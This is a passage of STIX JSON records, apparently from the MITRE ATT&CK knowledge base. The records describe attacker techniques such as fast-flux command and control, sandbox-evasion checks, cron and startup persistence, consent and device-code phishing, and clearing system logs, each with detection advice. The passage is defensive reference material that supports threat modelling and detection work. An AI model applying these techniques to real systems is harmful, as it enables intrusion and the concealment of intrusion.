InvisiMole June 2020","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"},{"source_name":"SANS 1","description":"Joshua Wright. (2020, October 13). Retrieved March 22, 2024.","url":"https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"},{"source_name":"SANS 2","description":"Joshua Wright. (2020, October 14). Retrieved March 22, 2024.","url":"https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"},{"source_name":"TechNet Services","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016.","url":"https://technet.microsoft.com/en-us/library/cc772408.aspx"},{"source_name":"Microsoft 4697 APR 2017","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"},{"source_name":"Symantec W.32 Stuxnet Dossier","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"},{"source_name":"Unit42 AcidBox June 2020","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"Crowdstrike DriveSlayer February 2022","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","type":"attack-pattern","created":"2020-03-11T14:11:16.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568.001","url":"https://attack.mitre.org/techniques/T1568/001"},{"url":"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref","description":"Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.","source_name":"MehtaFastFluxPt1"},{"source_name":"MehtaFastFluxPt2","description":"Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.","url":"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"},{"source_name":"Fast Flux - Welivesecurity","url":"https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/","description":"Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020."}],"modified":"2020-03-27T16:10:37.183Z","name":"Fast Flux DNS","description":"Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"]},{"modified":"2024-09-12T15:50:18.047Z","name":"System Checks","description":"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Deloitte Threat Library Team","Kostya Vasilkov"],"x_mitre_deprecated":false,"x_mitre_detection":"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"2.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Static File Analysis","Signature-based detection","Host forensic analysis","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","created":"2020-03-06T20:57:37.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1497/001","external_id":"T1497.001"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"},{"source_name":"McAfee Virtual Jan 2017","description":"Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.","url":"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"},{"source_name":"Deloitte Environment Awareness","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T18:45:51.945Z","name":"Cron","description":"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Scheduled Job: Scheduled Job Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","created":"2019-12-03T14:25:00.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053/003","external_id":"T1053.003"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-07T17:16:47.754Z","name":"Domain Groups","description":"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Harshal Tupsamudre, Qualys","Miriam Wiesner, @miriamxyra, Microsoft Security"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Group: Group Enumeration","Command: Command Execution","Process: OS API Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","created":"2020-02-21T21:15:06.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1069/002","external_id":"T1069.002"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","type":"attack-pattern","created":"2020-10-15T02:59:38.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.006","url":"https://attack.mitre.org/techniques/T1588/006"},{"source_name":"National Vulnerability Database","url":"https://nvd.nist.gov/","description":"National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020."}],"modified":"2021-04-15T03:16:32.119Z","name":"Vulnerabilities","description":"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:06:32.591Z","name":"Spearphishing Link","description":"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Philip Winther","Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Kobi Haimovich, CardinalOps","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Identity Provider","Office Suite"],"x_mitre_version":"2.7","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","created":"2020-03-02T19:15:44.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1566/002","external_id":"T1566.002"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"CISA IDN ST05-016","description":"CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.","url":"https://us-cert.cisa.gov/ncas/tips/ST05-016"},{"source_name":"Trend Micro Pawn Storm OAuth 2017","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"},{"source_name":"Netskope Device Code Phishing 2021","description":"Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.","url":"https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"},{"source_name":"Microsoft OAuth 2.0 Consent Phishing 2021","description":"Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.","url":"https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Mandiant URL Obfuscation 2023","description":"Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"},{"source_name":"Optiv Device Code Phishing 2021","description":"Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.","url":"https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"},{"source_name":"SecureWorks Device Code Phishing 2021","description":"SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth’S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.","url":"https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1165","url":"https://attack.mitre.org/techniques/T1165"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","source_name":"Startup Items"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-15T18:02:49.891Z","name":"Startup Items","description":"Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","type":"attack-pattern","created":"2020-01-28T17:11:54.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1070.002","url":"https://attack.mitre.org/techniques/T1070/002"},{"source_name":"Linux Logs","url":"https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/","description":"Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020."}],"modified":"2020-03-29T21:23:51.886Z","name":"Clear Linux or Mac System Logs","description":"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Deletion","File: File Modification","Command: Command Execution"]},{"modified":"2024-10-15T15:42:23.001Z","name":"Application or System Exploitation","description":"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Application Log: Application Log Content","Sensor Health: Host Status","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","created":"2020-02-20T15:37:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1499/004","external_id":"T1499.004"},{"source_name":"Sucuri BIND9 August 2015","description":"Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.","url":"https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:01:21.255Z","name":"Office Application Startup","description":"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Nick Carr, Mandiant","Microsoft Threat Intelligence Center (MSTIC)","Sahar Shukrun","Praetorian","Loic Jaquemet","Ricardo Dias"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["File: File Creation","Application Log: Application Log Content","Windows Registry: Windows 